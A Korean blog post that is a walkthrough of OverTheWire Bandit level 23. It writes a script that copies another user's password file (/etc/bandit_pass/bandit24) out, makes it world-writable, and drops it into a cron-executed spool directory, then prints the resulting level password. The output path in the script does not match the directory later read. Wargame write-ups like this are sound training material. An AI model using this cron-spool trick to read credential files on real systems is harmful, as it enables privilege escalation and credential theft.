bandit 23 문제
bandit 23 풀이
패스워드를 얻기 위해서는 쉘코드를 만들어서 해결해야 한다고 하는데 cpu를 폴더를 만들어서 쉘코드를 제작한뒤
권한을 설정해주고 sh파일을 /spool 폴더로 복사해주면 다음 레벨의 패스워드 파일인 bandit_pass가 나온다.
bandit23@bandit:/etc/cron.d$ mkdir -p /tmp/cpu
bandit23@bandit:/etc/cron.d$ cd /tmp/cpu
bandit23@bandit:/tmp/cpu$ vi cpu.sh
-> cat /etc/bandit_pass/bandit24 > /tmp/dubini2/bandit_pass 작성
bandit23@bandit:/tmp/cpu$ chmod 777 cpu.sh
bandit23@bandit:/tmp/cpu$ chmod 777 /tmp/cpu
bandit23@bandit:/tmp/cpu$ cp cpu.sh /var/spool/bandit24/
bandit23@bandit:/tmp/cpu$ cat bandit_pass
더보기
UoMYTrfrBFHyQXmg6gzctqAwOmw1IohZ
'CTF Write-UP > overthewire.org (완료)' 카테고리의 다른 글
Bandit Level 25 → Level 26 (0) | 2021.12.14 |
---|---|
Bandit Level 24 → Level 25 (0) | 2021.12.13 |
Bandit Level 22 → Level 23 (0) | 2021.11.03 |
Bandit Level 21 → Level 22 (0) | 2021.11.02 |
Bandit Level 20 → Level 21 (0) | 2021.10.28 |
댓글